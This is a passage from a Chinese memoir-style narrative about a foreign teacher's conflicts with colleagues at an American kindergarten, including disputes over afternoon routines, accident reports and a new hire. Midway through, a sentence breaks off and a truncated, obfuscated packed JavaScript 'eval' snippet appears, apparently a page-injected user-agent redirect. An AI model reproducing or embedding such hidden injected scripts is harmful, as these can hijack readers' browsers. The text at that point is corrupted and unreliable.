汉娜有些紧张地说:“我只是想帮助你,如果你想找个人一起谈的话我们可以找邦狄谈这件事,我们既然都是成年人了就不该什么事都找上面,如果现在可以在我们之间解决的话就最好把问题解决。” 我觉得她这话也有道理,就又试图和她说了几句,可她还是那些话, 我又问:“为什么以前曼妮在的时候我可以一个人在下面呢?” “因为曼妮是正式的老师。” 话又绕了回来,我有些生气,打断她道:“我们还是明天再说吧。” “可以。”她回答,脸色也终于变得很不好看了。 回去的路上我又仔细想了想,突然想到既然曼妮在中班的时候我可以单独留在大班,那么说明汉娜并不是因为不信任我而针对我,可是为什么林奈在的时候两个轮值老师就可以单独在一起呢?或许真如汉娜所言,这样如果出现紧急情况我和林奈中的一个人可以机动过去帮忙,如此看来倒真是我错怪她了——我的第一反应是打电话向汉娜道歉,可手边却没有她的电话号码,于是打算回家后给她发一封邮件解释一下。 到家把这事和老公一说,他却不同意我的做法,对我说:“你坚决不能道歉,因为这事本来就没有什么规则可循,都是汉娜自己的解释。” 我转念一想又觉得好像也是,从头至尾我要的只是单独几分钟帮孩子们清理一下,好让整个流程更加简单顺畅,这在沙文看来都没有任何问题,却唯独过不去汉娜那一关,结合她以前屡次遇事不负责任的态度,我不觉得她在这件事上是在为大多数人的福祉坚持原则,倒更像是为了不让别人挑战她的权威而坚持错误的决定,况且如果就像她说的几分钟也可能出现任何情况,平日里轮值老师经常会单独带孩子从外面的院子进教室去上厕所,按照她的说法也坚决不应该了?所以她的坚持虽然表面上冠冕堂皇,其实却站不住脚。 老公又帮我分析:“既然你是主导老师,那么如果你需要几分钟就应该让两个轮值老师等着你,而不是你去迁就她们,这也不违背汉娜让你们三个人在一起的要求。” 我一想十分在理,觉得明天如果要理论起来,至少这是我最后的底线。 第二天汉娜见到我居然还是笑脸相迎,我也就向她回笑,想到她和邦狄是同班老师,她们之间太容易沟通了,这一点对我很不利,事实证明我的担心不是多余的,后来在院子里遇见邦狄,她看我的表情果然怪怪的,和平时很不一样。 林奈和玛丽安今天的情绪也不太对,林奈很不高兴地向玛丽安抱怨:“你和她说了很多话,你们却不和我说话,这太粗鲁了!” 趁着林奈离开教室的时候我小声问玛丽安有什么新闻,玛丽安向我交代了几个孩子的情况,然后悄悄说:“林奈今天早上很有情绪,她还在为几个家长的事不高兴。” 这时林奈进来了,警觉而不悦地看着我和玛丽安,我连忙转移话题说起昨天和汉娜之间的事,又向林奈招招手:“林奈,你也过来,我想和你一起说。” 林奈立刻高兴起来,并且替我感到义愤填膺:“我绝对是站在你这边的,下午我们班和别的班一起过去的时候总是一团糟,一二十个孩子一起排队等厕所,汉娜脑子有问题!” 玛丽安的反应则要圆滑得多:“我下午走得早,所以不清楚具体情况,不过听起来好像有些不太对,今天沙文不在,你应该去和邦狄说说。” 林奈信誓旦旦:“我支持你,你跟邦狄说的时候我会为你背书的。” 过了一会儿邦狄刚好进来问林奈一些事情,我连忙趁机上前问邦狄:“早上汉娜有没有和你提昨天的事?” 她谨慎地说:“汉娜只是提了一下,但是没说太多细节。” 我于是向她解释:“每天下午我们班的孩子从院子进教室后需要倒鞋子里的沙和擦脸,而如果直接跟过去则会一团糟——” 可邦狄此时已经带了先入之见,有些不耐烦地打断我:“我知道你的担心,但她是下午管事的,她说什么你就做什么,桀丝和玛莎都是轮值老师,所以需要一个正式老师和她们在一起,是我要汉娜这么做的。” 我求助地看看一旁的林奈,她这会儿工夫却瘪了,完全不见之前的豪言壮语,但又抹不开面子,只得很客气地笑着问邦狄:“那下午只要曼妮不在我们就要和桀丝、玛莎在一起吗?” “是的。” 林奈马上陪笑道:“现在我明白了,非常感谢。” 林奈的临阵退缩令我猝不及防,看来只能靠自己再努力一下了,我对邦狄说:“可是昨天我看见桀丝和玛莎是单独在一起的,以前也发生过很多次。” 邦狄面无表情:“她们不应该单独在一起,以前汉娜不太注意,这个我说过她。” 我接着道:“也就是说只要我们三个在一起,那么我可以让孩子们先在这里倒沙和擦脸,然后我们再一起过去。” “当然,你是下午主导的老师,你完全可以要求按照你的方式来做。” 我道:“非常感谢,只要问题能够得到解决就行。” 邦狄板着脸出去了。 午休时看见林奈和桀丝、雷嘉在路边聊天,霍莉也凑了过去,雷嘉、桀丝居然破天荒向我友好地招手示意。 后来林奈告诉我,她把汉娜的事都对她们说了,桀丝非常愤怒,因为她已经作为全职轮值老师很久了,汉娜却总是把她当成临时老师。 我心道只要大家在这件事上别对我有什么误解就行,现在林奈主动把这件事揽过去让战火转移,我也赶紧抽身事外吧。 汉娜见到我还是像往常一样笑眯眯的,好像什么事也没发生过,可是接下来一连两个下午她都要求不仅大班中班甚至包括两个小班全部都要在一起统一行动,这样一来我们班的孩子根本没有机会停下来倒沙和擦脸,可是他们早已习惯了这个流程,所以在经过我们班的教室时都不听指挥地自顾把鞋子脱下来,汉娜便一个劲地催他们重新穿上鞋,到走廊另一头又发现凯奇在刚才的忙乱中把饭盒忘在教室里,我只得再带他回去拿。 对于这一切混乱汉娜都假装没看见,还说孩子们很喜欢待在一起,我只得保持沉默,见缝插针地让我们班的孩子在其他教室完成倒沙和擦脸的流程,当孩子们终于找到倒沙的垃圾筒和擦脸的纸巾时都很高兴,仿佛又重新找回了平日的秩序和安全感。 令我意外的是在这种情况下桀丝居然仍旧热络地和汉娜有说有笑,若不是我事先从林奈那里听到一些内幕消息,还真会以为她俩有多要好呢,看来在这间幼儿园里最靠不住的就是老师之间的笑脸,越笑得厉害就越要当心了。 星期一天气炎热,去院子里活动改为在室内活动,林奈下午请了假,平常我们班最早也要四点半以后才会转移到中班教室,今天汉娜却让我三点半就带孩子过去,玛丽安通常不到三点半就走了,今天一直把我护送到中二班才离开,我感觉自己好像被全面监管起来了。 在中二班教室待了二十来分钟,隔壁中一班的雷嘉伸头进来说:“如果有孩子想来我们教室玩,现在可以过来。” 结果所有孩子都跑了过去,我也跟过去。 在中一班又待了一会儿,雷嘉对我说:“我现在要带两个中班的孩子去活动室活动了,你们班的活动时间是四点四十分。” 我和我们班的孩子被单独剩了下来,我真搞不明白既然我是可以单独带孩子的,今天走廊这边也有雷嘉这个正式老师坐镇,为什么就不能让我留在自己班教室晚一点再过来,而偏要被这样折腾一番呢? 四点三十五分雷嘉他们回来了,我开始带着我们班的孩子收拾玩具,赶到活动室的时候已经四点四十五分,五点钟就要回到中班教室,我们作为最后一个活动的班级还要收拾活动室里所有的玩具,真正留给孩子玩的时间只有十分钟,偏偏今天有两个男孩特别不听话,我简直心力交瘁。 星期二下午是林奈、桀丝和我留守,林奈对我说:“汉娜希望我们去备用教室,我马上就要下班了,由你自己决定是去备用教室还是中一班。” 我老实说:“我还是希望照旧,我和桀丝各在中一班和中二班,中间开着门吧。” 说完发现林奈似乎很有保留地没有吭声,桀丝好像也不太高兴,我于是又征求桀丝的意见:“桀丝,你怎么想?你比较喜欢怎样?” 桀丝说:“我个人不太喜欢备用教室,因为里面没什么玩具。” 我表示赞同:“我也不喜欢。” 她接着说:“还剩十二个孩子,我们可以一起去中一班教室。” 我点头说:“好。” 从院子经过大班教室的时候,我们班有几个孩子很自然地脱下鞋开始倒沙,桀丝却仿佛没看见似的,既不停下来等一等也不询问我的意见,自顾带着她班上的孩子朝前走了,我不想完全去迁就桀丝的节奏,就由着孩子们倒沙,还给他们湿纸巾擦脸。 这时林奈从后面跟上来,大声质问道:“你怎么留桀丝一个人在前面?”然后不由分说地催孩子们把鞋穿上往前去追赶桀丝,我没说什么,被动地跟在后头。 到中一班安顿好,林奈下班离开,只剩我和桀丝带着孩子在教室里,我觉得还是应该和桀丝沟通一下,就用征询的语气问她:“你介不介意以后在我们教室等一两分钟,好让我们班的孩子可以把鞋里的沙倒掉,再擦擦脸?” 她一副无所谓的态度:“噢,我完全没问题,你也可以让他们在这里倒沙和擦脸。” 我笑着解释:“因为我们班的孩子已经习惯了这套流程,他们一进教室就脱了鞋,我很难让他们穿上鞋跟上你们。” 她耸耸肩:“当然可以。” 原以为事情就这样顺利解决了,可是星期三下午在大家从院子进教室之前,汉娜语气强硬地命令道:“因为今天有十三个孩子,所以你们得去备用教室!” 她走后林奈又特意对我们班的孩子大声叮嘱:“记住,不要在教室里脱掉鞋子,我们今天直接跟着桀丝去备用教室!” 我站在一旁没说话,心里却很堵——汉娜这几天的各种折腾其实类似于某种服从测试和训练,好让提出异议的人明白,如果不遵从她的方式做事,那么连原有的一点自主空间也会被剥夺,从而再也不敢挑战她的权威;而桀丝昨天虽然嘴上答应配合我的工作,却转眼又在背后搞小动作,让林奈出头来打配合唱反调,果然还是恶习难改。 原本只是一个能够利益许多人的简单诉求,在这个人浮于事的地方却不仅无法推动,反而愈演愈烈,演变成了一场互相较劲和争夺话语权的斗争,所有相关人等都严防死守,誓要将提出诉求的人逼入死角不留一点空间和余地,却没人在意孩子是否舒适、流程是否顺畅、半数人的福祉是否得到兼顾。 一路上我的行动都很消极懈怠,任由林奈和桀丝对孩子进行指挥,中途有两个孩子被家长接走,林奈对桀丝和我说:“现在我们可以去中一班了——我还是去问一下汉娜吧。” 只见她一路小跑着到汉娜班教室里大声问:“汉娜,现在有十一个孩子,是不是去中一班?还是你希望去备用教室?” 未听见汉娜的回答,她已跑回来:“我们还是去备用教室吧。” 到备用教室后林奈立刻敏感地觉察到我的不悦,似笑非笑地问我:“怎么了,你有什么话要对我说吗?” 我说:“我们去外面说吧。” 我们到旁边一间房间,我关上门对她说:“昨天我已经和桀丝谈过了,她说她可以在大班教室等我们一下,完全没有问题,我想知道今天你让孩子直接跟过来是你的意愿还是汉娜的意愿。” 林奈立刻说:“噢,我不知道昨天你和桀丝谈过了,不过我不确定中班的小孩子能不能等,我们明天也许可以先试试。” 林奈每天中午都和桀丝、雷嘉扎堆聊天,我不相信她会不知道昨天我和桀丝谈过,但也很清楚她不可能对我说真话,只得顺势道:“对,让我们明天先试试,谢谢。” 林奈下 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眼圈突然忍不住有些发热,我曾经觉得邦狄是一个公正直爽的人,但是沙文口中她和邦狄打算加大我的权限做我后盾的事不仅从未发生,邦狄上次甚至因为汉娜的一面之词就先入为主不再接受我的任何解释,而从那之后我也不再信任她了,何况刚刚桀丝又先在她面前说过话,我再说什么更是没用了——可以想象桀丝会对邦狄说我要求中班的小孩子等大班的孩子,但小孩子不能等,于是这条路也被顺理成章地堵死了——邦狄现在走过来希望从我这里得到什么答案呢?非常好?可那显然不是事实,她也不会相信;很糟糕?可是她真正关心吗?她会想听我这些琐碎的委屈吗? 至此我很后悔上周向沙文提起这件事,万万没想到这么一点小事却持续发酵没完没了,引来各方不断的报复和各种小动作,甚至连原有的空间也一点点被侵蚀殆尽,令我不得片刻喘息和安宁,而以我一人之力又如何对抗这些盘根错节的势力呢? 感到从未有过的孤单和无助——在这里我没有任何背景、经验、朋友或同党,我的语言远远无法像她们那样自如地表达,文化背景也完全不同,没有一个人会站出来为我说一句话,受尽排挤却什么也做不了,我从未像现在这样感到沮丧过。 情绪低落,心又悲哀,回到教室呆望着孩子们排队上厕所,偏偏今天艾米对我的态度也很倨傲,她和另一个孩子在看一本找物品的书,我问她能不能找到那一页上的一只小猪,她却很粗鲁地翻到下一页说“我们可以自己选”,吃零食时又对我的指示置若罔闻,径自去问玛丽安。 此刻我的内心已经十分脆弱,却连一个孩子也来践踏,但我不想像林奈那样吼她,用自己的身高体重年龄去压服她,这个孩子这段日子来学校的时间越来越少,受她那问题母亲的负面影响越来越多,性格也变得越来越刻薄,原本是个很有灵气的孩子,我却仿佛眼见她的灵魂一点一点受到侵蚀,可我自己现在也正在经受着灵魂的煎熬,实在没有更多的力量去拯救她。 麻烦还未结束,下午中一班的几个孩子在院子里追逐嬉戏时摔作一团,在中一班轮值的桀丝带着其中一个孩子去清理伤口,这时吉姆在我旁边又摔了一跤,我关心地上前询问并帮他检查有没有受伤,他嚷嚷着胳膊疼,我发现他的胳膊上有几道浅浅的擦痕。 汉娜在不远处也看见了,问我:“吉姆怎么样?” 我将吉姆带过去给她看,汉娜说:“他的伤口要用肥皂水洗一下。” 我以为汉娜要带吉姆去洗,她却说“你带他去洗”,我倒也并不介意帮中一班这个忙,没想到汉娜又说:“你还需要填一张事故报告。” 在我看来吉姆的胳膊上只有几道很浅的擦痕,连破皮都没有,根本够不上写事故报告,觉得汉娜未免小题大做,况且我只是好心在帮中一班的忙,怎么现在这些全都成了我的责任?于是问:“我需要那么做吗?” 令我没想到的是,汉娜的眼神突然变得异常冷酷,完全没有了平常的笑脸,语气强硬地命令道:“你必须这么做!” 我立刻感受到一股强烈的敌意,心知她虽然整天脸上笑眯眯,其实对于转移教室的事仍心存芥蒂,现在对我的任何违抗都分外敏感,对我的要求也格外苛刻,以后在她的监管下我的日子可要难过了。 我不再说话,拉着吉姆的手向院子外走,正好碰见桀丝回来,便将吉姆的情况告诉她,她看了一下,不以为意地说:“噢,没什么,这些都是旧伤,只是多了个小红点而已。” “汉娜说他需要用肥皂水洗一下。” 我趁势道,并不提是让我带吉姆去洗,见汉娜向这边走过来,又加上一句,“她说需要写一个事故报告。” 汉娜恰巧赶到,对桀丝说:“我让彦岚写个事故报告。” 桀丝板着脸:“这些都是旧伤,没必要写事故报告,我会带他去洗一下。” 汉娜在桀丝面前仿佛突然矮了一头,完全没了刚才对我的强硬态度,居然立刻满脸陪笑:“噢,我不知道是旧伤。” 我也连忙笑着对汉娜说:“桀丝比我更了解中一班的孩子。”然后赶紧走开了。 这下我算是彻底明白,这个幼儿园的许多事情根本没有清晰的标准可遵循,全在老师自己的判断和好恶,谁的声音大态度强硬谁就占上风,不过若是得罪了管事的又没人在背后撑腰,那就只能吃哑巴亏了。 庆幸方才巧妙逃脱,否则被汉娜支使折腾一番不说,还会吃力不讨好得罪桀丝,让她误认为我在插手她的事里外不是人——只是我无法理解,汉娜作为学校的第三号负责人怎么反倒对桀丝这样一个年轻的轮值老师敬畏三分,可以完全没有原则地即刻改变标准,也实在太荒谬了! 后来听曼妮在一次聊天时无意中透露,桀丝家住在邦狄家附近,从小和邦狄走得很近,高中毕业后邦狄让她来幼儿园帮忙打零工,就这样开始了她在这里的职业生涯,我那时才恍然大悟,为什么一个小小的轮值老师在幼儿园可以如此兴风作浪、嚣张跋扈,连汉娜都对她恭敬有加,原来她背后站着的人是邦狄。 下班前特意找到汉娜,笑着向她解释:“下午关于事故报告的事我并不是想挑战你的权威,也不是不愿意写,只是我有些顾虑,不确定越权代中一班做事是否合适,因为我想桀丝应该比我对中一班的孩子要了解得多——我不想让你不高兴。” 汉娜立刻笑着回答:“噢,我没有不高兴,不过你的顾虑是对的,我后来也明白了,不过谢谢你对我说这些话。” 虽然我知道汉娜这些都是客套话,但还是明显感觉到她脸上的神情缓和了不少——在这个幼儿园我用沉重的代价学到的一课就是:在众多玻璃心面前要及时解释、低头做人,以避免许多无谓的麻烦。 经历了这一切,回到家筋疲力尽,情绪糟糕到了极点,现在这所幼儿园的一切对于我来说都是忍受,毫无任何乐趣和意义可言,感觉四面受敌,心灰意冷,我的世界阴云密布、暗无天日。 星期五孩子午睡时我和玛丽安单独在教室里,我向她请教:“如果看见其他班孩子受伤,而其他班老师不在场,那么代写事故报告是否合适?” 玛丽安回答:“代写报告是合适的。” 我又问:“如果孩子只是摔倒在木屑上,有很小的擦伤,要不要写报告?” 玛丽安说:“这些要依据老师自己的判断,譬如今天上午吉姆就摔跤了,不知道中一班老师回头会不会写报告,但是写总好过不写,因为这样如果家长问起,我们的责任就没有了。” 接着她向我列举了各种需要写事故报告的情况,不得不承认玛丽安平时说话虽然啰嗦,但在关键问题上的表述却非常清晰全面。 然后她话锋一转,主动说起下午的人员调配,看来这几天我的情绪低落她都看在眼里,如今找机会向我说明,她老辣地没有提到任何一个人的名字,只是就事论事向我解释人员调配的通常做法和原因,却部分地解开了我心中的一些疑惑。 她说:“上午因为老师多,也经常从我们教室进进出出,所以如果我们班孩子的人数是一到十个,就可以一个老师单独看着,如果超过十个孩子,就需要沙文或者秘书过来帮忙;中午孩子午睡时,因为小班师生就在我们门外的活动室里睡觉,所以我们教室里也可以一个老师单独留守一到十个孩子;而下午因为老师少,我们班就不能只留一个老师,在我们班有两个老师并且楼上不需要我们过去帮忙的时候,我们可以留在自己班。这听起来确实很奇怪,不是说你的能力不行,我也明白你可能希望自己在这边可以有更多自我掌控的感觉,但也就是这段时间,等中二班的曼妮休假回来情况就好了。” 玛丽安的解释扫去了我内心的一部分阴霾,当然下午的许多恩恩怨怨她无从知晓,不过和她谈过之后我也开始自我反省:这段时间我确实在是非里搅得太深了,以致于离自己的初心越来越远,我应该多学学玛莎——少说话多笑多做事,让干什么就干什么,什么都不争不抢,别人说的负面的话统统听不见,有自己的生活,在这个幼儿园不也活得好好的吗?所以接下来我要牢牢闭上嘴巴,少说多做,远离纷争,避免把生活的全部重心放在这个不值得的弹丸之地。 而眼下呢?我需要换个环境,休息一下,远离这一切不愉快了。 周末老公去纽约开会,我顺便跟着玩了一趟,在新修的曼哈顿西岸水滨漫步,乘渡轮登上自由女神像岛,参观大都会博物馆欣赏众多名家流传于世的艺术真迹,在自然历史博物馆里邂逅亿万年前的恐龙化石和种类繁多的原生态宝石,惊叹于自然的美丽和造物的神奇——远离纷争才记起外面的世界很大,心也随之开阔起来。 49. 第十六章 这世界总有好人 在这个污浊不堪的幼儿园却仍有两位优秀和善的教师,她们仿佛闷罐子里开的两个通风口,令我不至于完全窒息,又像茫茫黑夜中的两盏烛火,让我对人性没有完全丧失希望,这两位老师一个是曼妮,一个是玛莎。 曼妮三十来岁,一头黑长直发,戴着黑框眼镜,总是一副不卑不亢、镇定自若的样子,似乎永远知道自己应该做什么。她本科读的是兽医专业,研究生转读幼儿教育专业,和我是幼儿园仅有的两个研究生学历的老师,来这家幼儿园之前她曾在一间公立幼儿园当过两年老师,因为不喜欢公立学校处处要求严格遵照教学计划还总是让孩子考试,于是跳槽到这家幼儿园,如今已经在这里工作三年了。 幼儿园的孩子在沙池里玩的时候不慎将沙子弄到眼睛里是常有的事,我看到他们痛苦的模样感同身受,总希望能帮他们减轻痛苦,却又不知该如何着手,其他老师通常都是听之任之,由着孩子们痛苦挣扎、自生自灭,只有曼妮会不嫌麻烦地带孩子去处理。一次贝儿又把沙弄到了眼睛里,曼妮刚好在附近,我于是向她请教,只见她不慌不忙地把贝儿带进教室放在桌子上躺下,一边安慰着贝儿,一边用一只一次性吸管吸了一些水滴在贝儿的眼睛里帮她冲洗,又用沾湿的纸巾帮她把沙粘出来。 曼妮的知识很渊博,懂得如何照顾幼儿园每个班级养的包括乌龟、蜥蜴、天竺鼠和鱼在内的所有小动物;当有孩子撇着腿坐在地毯上时会提醒他们收起腿坐直,并向他们解释小孩子撇着腿坐会造成髋关节发育不良;在得知我刚搬来麻省不久,想打听附近有什么适合游玩的地方时,立刻大方地拿出纸笔列了一个清单给我,字也写得大气好看。我很喜欢向曼妮请教各种问题,她的回答也总是毫无保留、切中要害,仿佛对一切都成竹在胸,给人一种十分可靠的感觉。 玛莎已经七十多岁了,一头灰白短发,总是一副乐呵呵的模样,她退休后来这所幼儿园继续“发挥余热”的主要原因是这里为教师提供便宜的医疗保险,美国的医疗费用十分昂贵,如果没有保险一场大病就可能令人倾家荡产,医保费用也水涨船高,每月动辄高达上千美元,令许多家庭不堪重负,因此工作单位是否提供好的医保成为许多人择业的一大考量。 我很喜欢玛莎来我们班当轮值老师,她总是安静温和地微笑,尽心尽力地帮忙,只要有她在我不仅体力上轻松许多,心情也十分愉悦,有一次林奈休假,我和玛莎搭档把教室里打扫得干净整洁,协助所有流程顺畅进行,对玛丽安和孩子们温和以待,连玛丽安都忍不住发出感叹:“真安宁啊!” 另一次只有我和玛莎在教室里,我让孩子们围拢在一起给他们播放了一盘故事磁带,在听故事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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面试后沙文问我们最不喜欢谁,玛丽安和林奈都谦让地让我先说,我就傻乎乎地直说不喜欢印度裔大妈,玛丽安和林奈一致表态支持我的意见,沙文二话不说地将大妈从名单上划掉,我几乎不敢相信自己的意见居然如此受到重视。 接着沙文又问我们最喜欢谁,玛丽安、林奈和我都表示觉得华裔女孩不错,这一次沙文却没有立刻划掉另一位候选人的名字,而是让我们再考虑考虑,然后分别把我们叫去谈话,在谈话过程中一面对华裔女孩表现出强烈的排斥,一面貌似民主地让我们再投一次票。 玛丽安立刻来了个一百八十度的大转弯,在第二次投票时大说华裔女孩的坏话,林奈和我迫于形势也只得违心地改了票,这次投票让我深刻见识到了沙文的政治手腕、玛丽安的见风使舵和美式民主的虚伪。 星期一白人女孩尅拉来上班了,一开始我还挺期待,认为可以从新老师身上学习到新的教育理念和方法,事后想想,自己又一次过于天真了。 尅拉一来玛丽安就整天拉着她说个不停,就像当初对我一样,偏逢林奈休假,这下不仅脏活累活,所有杂活全落到我一个人身上,我想玛丽安应该有许多事情要交待尅拉,便默默承担了,可是这个新老师来了之后却根本不和我有任何包括眼神在内的交流,玛丽安又一直只和她说话,倒显得我孤僻不合群似的。 玛丽安临下班前对我说:“下午的注意事项就由你告诉尅拉吧。” 她走后我试图友好地向尅拉说明下午的流程,没想到尅拉却爱搭不理地往孩子中间一坐,径自和他们互动起来,我不好再多说什么,只得自己忙其他事情。 去活动室的时间就要到了,尅拉突然开始给孩子们读一本很长的故事书,我提醒她没时间了,她强硬地回答:“还有两个孩子在上厕所,我会等他们回来就停下。” 我感觉她不是个好相处的人,不欲和她争辩,于是笑着说:“好。” 到了活动室尅拉让几个孩子骑着弹力球比赛,贝儿因为得了最后一名嚎啕大哭起来,刚好被来接她的杰奎琳看见,尅拉对杰奎琳既不打招呼也没有任何解释,杰奎琳很不高兴地带着贝儿走了。 第二天玛丽安说:“我早上听见贝儿的妈妈在抱怨昨天贝儿哭的事。” “好在她自己昨天在那里都看见了。” 尅拉很不以为然地对玛丽安说,一句话把自己撇得干干净净。 尅拉仍是对教室里的各种杂活视而不见,吃过午饭玛丽安坐到电脑边指导尅拉写原先由林奈写的给家长的每日邮件,两个人都把脏饭桌丢给我收拾。 我这时才有些看懂玛丽安的手段,即在新人刚来时以热心培训之名让新人去触碰林奈的领地,引起林奈和新人之间的争斗,她再坐山观虎斗,也才明白当初自己是怎么莫名其妙被林奈忌恨的,直到后来我坚决处处向林奈低头示好,对一切不争不抢只埋头干活,才从矛盾冲突中抽身出来。 玛丽安下班后尅拉坐到教室里的另一块地毯上和我各据一方,然后将一辆玩具汽车顶在头上,让所有的孩子跟着她一起数数看她能坚持多长时间,结果教室里所有的孩子都被吸引到她那里去了。我不想搞得好像两个老师明争暗斗在抢孩子似的,从地毯上站起来去清洗孩子们的水杯,一面频频向尅拉投以鼓励的微笑,并将她介绍给每一位来接孩子的家长——我想向尅拉释放友好的信号,让她不要把我当成假想敌,希望这样将来我俩的合作能轻松愉快一些。 因为昨天的小误会,所以当杰奎琳又来接贝儿时我特意笑脸相迎,没想到尅拉居然对杰奎琳理都不理,还在她背后狠狠翻了个白眼,再次令我诧异——家长是幼儿园的服务对象和衣食父母,尅拉作为一名刚入职的新老师却因为一点小事就对衣食父母如此睚眦必报,真不晓得她心底的硬气是从哪里来的。 幼儿园六点关门,昨天下午因为孩子少,五点半汉娜就让尅拉和我提前下班了,今天五点三十五分汉娜让我们回自己教室把个人物品拿出来,这样她好锁门,没想到尅拉居然很不客气地问汉娜:“我可不可以走了?” 汉娜只好说:“那你走吧。”脸上看上去有些不高兴。 第三天尅拉还是一动不动坐在椅子上继续和玛丽安说话,任由我一个人干教室里所有的活,我当然不太高兴,因为不希望自己从此彻底成了专门干杂活的。 午饭时我不想再替所有人收拾桌子,就在我这桌孩子快吃完的时候起身拿了两张音乐光碟去电脑上刻,过了很久终于听见背后玛丽安指导尅拉擦桌子的声音。 刻好光碟我拿起空零食罐笑着对玛丽安说:“我去仓库里取些零食。” 没想到玛丽安竟然对我理都不理,接下来的两个小时更是连看也不看我一眼,只和尅拉说话,仿佛因为我刚才没收拾桌子而在故意惩戒和孤立我。 我的心里很不是滋味,论理没有规定教室里的所有桌子必须我收拾,我和玛丽安都是老师,也并不存在上下级关系,我平时一是表示对她的尊重让着她,二是为了避免矛盾和纷争,这才处处向她报备请示,她要培训新老师我也积极配合,今天亦未做任何过分的事,她凭什么稍有不合意就摆脸色给我看?难道她以前对我的和颜悦色都是装出来的吗?一有机会立刻变脸,翻起脸来比翻书还快,真是让人觉得可怕! 玛丽安和尅拉热烈地聊着天,仿佛教室里不存在我这个人似的,我拿起水壶径直走出教室去打水,也不再向她知会了,我想让玛丽安明白,我没必要处处向她汇报,她爱理不理根本不能拿捏我分毫——果然人不能太善良,玛丽安立刻觉察出我的不同,随即收敛了许多,仿佛刚才什么事都没发生过。 趁玛丽安午休的时候我特意找尅拉聊天,希望能拉近一些和她的距离,我说:“我看见沙文在邮件里提到很喜欢你写给家长的邮件,我也觉得写得很好。” 她笑笑:“谢谢。” “听霍莉说你们以前是同学?” “对,我们是一个学校毕业的。” “你目前对这里感觉怎么样?”我又问。 “挺好的,我之前工作的幼儿园每天从早上八点到晚上六点,又很远,我一个人要单独管十个孩子,现在好多了。” 我也大致向她介绍了一下我的背景情况,这时玛丽安回来了,轮到我和尅拉午休,我们一起离开教室,我问她:“你打算去哪里?” “去咖啡馆买杯饮料。” 我说:“我去图书馆。” 本是同路,我想着可以一路聊聊天,没想到尅拉却故意落在后面埋头看手机,然后一出幼儿园立刻过了马路,我便明白她根本不想和我多交流,前面说的那几句也只是场面话而已。 每天下午在院子里老师们会把各班的签到簿放在一个固定的地方,家长每接走一个孩子,就近交接的老师便会走到签到簿前填上孩子离开的时间,可是下午尅拉一到院子里就一手叉腰一手抓着签到簿一直不撒手,然后拦截住每一个来接孩子的家长进行攀谈和交接,在所有老师里显得格外惹眼,仿佛她是某个很重要的负责人似的。 其他班的几个老师围在一起聊天,尅拉跑过去站在中间,玛莎友好地向她打招呼,问她感觉如何,可是才聊了两句就聊不下去了,因为尅拉根本没兴趣与无足轻重的玛莎聊天,只顾着热络地找汉娜搭话,与昨天对汉娜粗鲁无礼的态度判若两人——我想她一定是知道了汉娜第三号负责人的身份,所以今天立刻掉转方向开始攀附,只是不知道她这样不知收敛地媚上欺下能走多远。 第四天继续看尅拉表演,不过今天我多了个心眼,不再任劳任怨地主动承担所有的杂活了。尅拉写完给家长的邮件后按照沙文的嘱咐让其他老师过目,我觉得她反复用“学生”一词指代孩子看起来很生硬,就客气地向她指出:“邮件写得很好,只有‘学生’这个词我们一般会用‘孩子’,‘学生’看起来有点太正式了。” 她马上反驳:“沙文希望我用‘学生’这个词,她说有家长觉得我们的邮件太不正式了。” 我无从求证她的说法,只得笑笑:“既然沙文这么说了,那好吧。”——她这么尖牙利齿的我还能说什么呢?只好什么都不说了。 玛丽安装模作样地看了一遍尅拉写的邮件,然后说:“很好,我没有任何意见。” 下午在院子里尅拉继续把持着签到簿,拦截着家长,找汉娜聊天,加入到人数最多的老师聊天群中,或是突然冷不丁地向某一个或几个孩子发号施令,就是不见她正经照看我们班的孩子,我现在越来越发现这个人歪心思太多了,处处想着捧高踩低、彰显自己,就是不干正事。 一对父母来接孩子时尅拉正忙着社交,我上前招呼了那对父母一声,想记录下时间却找不到签到簿,回头看见尅拉远远拿着签到簿在写,写完把签到簿藏到她身后的滑梯上。 我有些恼火,不客气地走过去对她说“我们通常都会把签到簿放在桌子上,我放回去了”,然后直接从滑梯上拿走签到簿——这个人,我对她的耐心已经差不多快磨光了,对她友善她反倒认为软弱可欺,言辞委婉她必定又是一大堆理直气壮的说辞,不如直截了当。 聊到没人再和她聊天了,尅拉一个人站得有些无聊,走到正在沙池里玩沙的四个孩子中间又想指挥他们,结果几个孩子一哄而散——她每天挤着一堆假笑,刚开始很具有欺骗性,可是日久见人心,才几天的功夫她那套吸引孩子的招数就不灵了——我感到挺欣慰,在这个乌烟瘴气的地方至少还有这些天真无邪的孩子做无言的判官,用脚给这种人投了票。 第五天,我的忍耐已经达到极限,开始反击,中午独自在教室值班时读了尅拉写的给家长的邮件,玛丽安已经看过了,我看完打算等尅拉回来发送,转念一想,为什么要唯唯诺诺什么也不敢做呢?上次我写的邮件林奈看完不是直接就替我发送出去了吗?于是我也如法炮制。 几分钟后尅拉回来了,我告诉她:“邮件写得不错,我已经发出去了。” 她只得说:“好。” 下午我问尅拉想不想试试给孩子发零食,她倒是挺积极,发完就坐在吃零食的桌子前煞有介事地和孩子们聊天,可是等孩子吃完她却丢下脏兮兮的桌子直接走开了,那架势仿佛等着我去收拾。我也不管,喂完乌龟洗完杯子忙完其他的事,坐下陪洛蒂和凯奇一起玩,尅拉这时跑过来问洛蒂和凯奇要不要听她读故事书,两个孩子拒绝了,她又拉着教室里另外两个孩子听故事,务必要让自己显得很忙以逃避收拾桌子。 过了一会儿该去院子里活动了,尅拉偷奸耍滑我却不能留下脏乱的教室一走了之,于是一面吩咐洛蒂和凯奇收拾玩具,一面拿起消毒湿巾盒对尅拉说:“去院子之前我们要用这个擦干净所有的桌子,再把所有的椅子摞起来。” 说完我开始擦桌子,她只好跟着把椅子摞起来。 一到院子里尅拉立刻坐到在沙池里玩耍的几个孩子中间,然后大声发出各种指令领导孩子跟着她一起挖沙子,在院子里的一个小时她几乎就在干这一件事,只是身边的孩子换了几拨,早就不再是我们班的孩子了。 眼看着进教室的时间到了,汉娜却没有像往常那样给出指令,我正犹豫该不该让孩子开始收拾玩具,就听汉娜说:“我忘了时间了,该收拾了,听说备用教室里在搬东西。” 